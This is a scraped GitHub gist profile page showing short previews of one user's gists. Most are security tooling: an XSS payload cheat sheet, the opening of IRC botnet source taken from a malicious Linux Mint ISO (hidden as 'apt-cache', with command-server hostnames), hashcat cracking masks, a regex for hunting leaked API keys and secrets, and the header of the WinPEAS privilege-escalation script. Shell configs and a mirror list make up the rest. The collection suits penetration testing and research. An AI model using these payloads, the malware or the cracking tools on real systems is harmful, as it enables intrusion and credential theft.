Skip to content

Instantly share code, notes, and snippets.

View kurobeats's full-sized avatar
😀
wiew

Anthony Cozamanis kurobeats

😀
wiew
View GitHub Profile
@kurobeats
kurobeats / xss_vectors.txt
Last active May 3, 2024 11:15
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@kurobeats
kurobeats / man.cy
Created February 21, 2016 09:00
man.cy from malicious Linux Mint iso
#define STARTUP 1
#undef IDENT // Only enable this if you absolutely have to
#define FAKENAME "apt-cache" // What you want this to hide as
#define CHAN "#mint" // Channel to join
#define KEY "bleh" // The key of the channel
int numservers=5; // Must change this to equal number of servers down there
char *servers[] = {
"updates.absentvodka.com",
"updates.mintylinux.com",
"eggstrawdinarry.mylittlerepo.com",
@kurobeats
kurobeats / .zshrc
Last active April 12, 2023 14:28
A twist on the kali zshrc
# ~/.zshrc file for zsh non-login shells.
setopt autocd # change directory just by typing its name
setopt correct # auto correct mistakes
setopt interactivecomments # allow comments in interactive mode
setopt ksharrays # arrays start at 0
setopt magicequalsubst # enable filename expansion for arguments of the form ‘anything=expression’
setopt nonomatch # hide error message if there is no match for the pattern
setopt notify # report the status of background jobs immediately
setopt numericglobsort # sort filenames numerically when it makes sense
@kurobeats
kurobeats / blackarch-mirrorlist
Last active February 5, 2023 07:58
A nicely formatted blackarch mirrorlist, ready for use
# BlackArch Mirror list
## Australia
#Server = http://blackarch.mirror.digitalpacific.com.au/$repo/os/$arch
#Server = rsync://mirror.digitalpacific.com.au/blackarch/$repo/os/$arch
## Austria
#Server = http://mirror.easyname.at/blackarch/$repo/os/$arch
#Server = ftp://mirror.easyname.at/blackarch/$repo/os/$arch
#Server = rsync://mirror.easyname.at/blackarch/$repo/os/$arch
@kurobeats
kurobeats / spice-vdagent on boot
Created January 30, 2023 01:14
plasma-core.target
[Unit]
Description=KDE Plasma Workspace Core
Wants=plasma-plasmashell.service plasma-kcminit.service plasma-kded.service plasma-kcminit-phase1.service graphical-session-pre.target spice-vdagent.service
Requires=plasma-ksmserver.service
BindsTo=plasma-ksmserver.service
After=graphical-session-pre.target
Before=ssh-agent.service
RefuseManualStart=yes
?l?l?l?l?l?l?l?l
?u?u?u?u?u?u?u?u
?u?l?l?l?l?l?l?l
?u?l?l?l?l?l?l?s
?u?l?l?l?l?l?d?s
?u?l?l?l?l?d?d?s
?u?l?l?l?d?d?d?s
?u?l?l?d?d?d?d?s
?u?l?d?d?d?d?d?s
?u?d?d?d?d?d?d?s
(?i)((access_key|access_token|admin_pass|admin_user|algolia_admin_key|algolia_api_key|alias_pass|alicloud_access_key|amazon_secret_access_key|amazonaws|ansible_vault_password|aos_key|api_key|api_key_secret|api_key_sid|api_secret|api.googlemaps AIza|apidocs|apikey|apiSecret|app_debug|app_id|app_key|app_log_level|app_secret|appkey|appkeysecret|application_key|appsecret|appspot|auth_token|authorizationToken|authsecret|aws_access|aws_access_key_id|aws_bucket|aws_key|aws_secret|aws_secret_key|aws_token|AWSSecretKey|b2_app_key|bashrc password|bintray_apikey|bintray_gpg_password|bintray_key|bintraykey|bluemix_api_key|bluemix_pass|browserstack_access_key|bucket_password|bucketeer_aws_access_key_id|bucketeer_aws_secret_access_key|built_branch_deploy_key|bx_password|cache_driver|cache_s3_secret_key|cattle_access_key|cattle_secret_key|certificate_password|ci_deploy_password|client_secret|client_zpk_secret_key|clojars_password|cloud_api_key|cloud_watch_aws_access_key|cloudant_password|cloudflare_api_key|cloudflare_auth_k
@kurobeats
kurobeats / winpeas.bat
Last active January 24, 2022 04:36
winpeas-blah
@ECHO OFF & SETLOCAL EnableDelayedExpansion
TITLE WinPEAS
COLOR 0F
CALL :SetOnce
REM :: WinPEAS - Windows local Privilege Escalation Awesome Script
REM :: Code by carlospolop; Re-Write by ThisLimn0
REM Registry scan of other drives besides
REM /////true or false
@kurobeats
kurobeats / alphanumeric_upper.txt
Created March 16, 2021 05:59
Alphanumeric Upper
A
B
C
D
E
F
G
H
I
J
@kurobeats
kurobeats / alphanumeric_lower.txt
Created March 16, 2021 05:58
alphanumeric lower
a
b
c
d
e
f
g
h
i
j